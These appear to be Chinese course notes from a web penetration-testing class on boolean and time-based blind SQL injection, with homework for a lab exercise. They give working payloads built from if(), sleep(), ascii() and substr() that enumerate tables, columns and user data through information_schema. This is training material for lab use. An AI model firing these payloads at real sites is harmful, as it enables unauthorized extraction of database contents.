|
SQL 注入漏洞(四)
盲注
什么是盲注:有时⽬标存在注⼊,但在⻚⾯上没有任何回显,此时,我们需要利⽤⼀些⽅法进⾏判断或者尝试得到数据,这个过程称之为盲注。
布尔盲注
布尔很明显True和false,它只会根据你的注⼊信息返回True和False,也就没有了之前的报错信息。
布尔盲注流程
判断注⼊点
判断闭合
判断⻓度
猜解库名、表名、列名、具体数据
时间盲注
界⾯返回值只有⼀种True,⽆论输⼊任何值,返回情况都会按照正常来处理。加⼊特定的时间函数,通过查 看web⻚⾯返回的时间差来判断注⼊的语句是否正确
延时盲注其实和布尔盲注其实没有什么太⼤的区别,只不过是⼀个依靠⻚⾯是否正常判断,⼀个是否延时判断,在 操作上其实也差不多,只不过延时多⼀个if()
猜解数据库有⼏张表
if(1,2,3) 1:条件 2:满⾜条件⼲嘛 3:不满⾜⼲嘛
count() 返回指定内容的个数
and if((select count(table_name) from information_schema.tables where
table_schema=database())=5,sleep(5),3) --+
条件:(select count(table_name) from information_schema.tables where
table_schema=database())=5
满⾜条件做的事:sleep(5)
不满⾜:3
4-确认表名⻓度(时间盲注不需要知道数据库名)
格式:and if(length(查询语句)=表名⻓度,sleep(5),3) --+eee
第⼀个表⻓度:limit 0,1
and if(length((select table_name from information_schema.tables where
table_schema=database() limit 0,1))=6,sleep(5),3)--+eee
第⼆个表⻓度:limit 1,1
and if(length((select table_name from information_schema.tables where
table_schema=database() limit 1,1))=6,sleep(5),3)--+eee
5-确认表名
格式:and if(ascii(substr((查询语句 limit 1,1),1,1))=编码值,sleep(5),22)
and if (ascii(substr((select table_name from information_schema.tables where
table_schema=database() limit 0,1),1,1))=101,sleep(5),3) --+eee
6-确认列名
and if (ascii(substr((select column_name from information_schema.columns where
table_name='users' limit 0,1),1,1))=105,sleep(5),3) --+eee
7-确认数据内容
?id=1' and if (ascii(substr((select username from users limit 0,1),1,1))>1,sleep(5),3)--+
课堂 sql 语句
select LENGTH(database())
#substr 截取字符串
#ascii acsii转码
#length 识别⻓度
select ascii(substr('abc',1,1))
select ascii(substr(database(),1,1))
select count(table_name) from information_schema.tables where table_schema='security'
select table_name from information_schema.tables where table_schema='security' limit 0,1
select 1,2,3 and sleep(2)
SELECT * FROM users WHERE id="$id" LIMIT 0,1;
1" and sleep(5)--
SELECT * FROM users WHERE id="1 and sleep(5)--+" LIMIT 0,1;
WEB渗透测试工程师系统班250303期 第15节课作业
1. 实际操作课堂讲解的yakit sql注入靶场,截图 2. 布尔盲注的原理是什么 根据注信息返回的界面是否正常判断注入是否成功 3. 时间盲注的原理是什么 通过SLEEP函数是否被执行判断注入
|